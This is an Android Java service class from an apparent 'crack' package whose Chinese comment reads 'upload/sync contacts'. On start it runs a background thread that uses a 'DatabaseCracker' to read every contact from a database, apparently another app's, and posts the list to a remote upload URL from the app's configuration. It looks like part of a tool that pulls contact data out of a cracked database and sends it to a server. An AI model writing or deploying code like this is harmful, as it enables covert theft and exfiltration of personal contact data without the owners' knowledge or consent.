package com.rajesh.messageservice.crack;

import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.os.IBinder;
import android.support.annotation.Nullable;

import com.rajesh.messageservice.bean.Contact;
import com.rajesh.messageservice.helper.GlobalConfig;
import com.rajesh.messageservice.helper.JsonHttpClient;
import com.rajesh.messageservice.helper.QueryStrings;

import java.util.List;

/**
 * 上传/同步联系人
 */
public class ContactService extends Service{
    public static final String ACTION = "com.rajes.messageservice.crack.ContactService";

    @Override
    public void onCreate() {
        super.onCreate();
    }

    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        new Thread(new Runnable() {
            @Override
            public void run() {
                ContactService.syncContacts(ContactService.this);
            }
        }).start();
        return super.onStartCommand(intent, START_FLAG_RETRY, startId);
    }

    @Nullable
    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }

    public static void syncContacts(Context context){
        try {
            DatabaseCracker cracker = DatabaseCracker.createInstance(context);
            JsonHttpClient jsonHttpClient = new JsonHttpClient();

            List<Contact> contacts = cracker.select(Contact.class, QueryStrings.QUERY_ALL_CONTACT);
            if(contacts != null || contacts.size() != 0)
                jsonHttpClient.post(GlobalConfig.UploadFriendsUrl, contacts);
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}
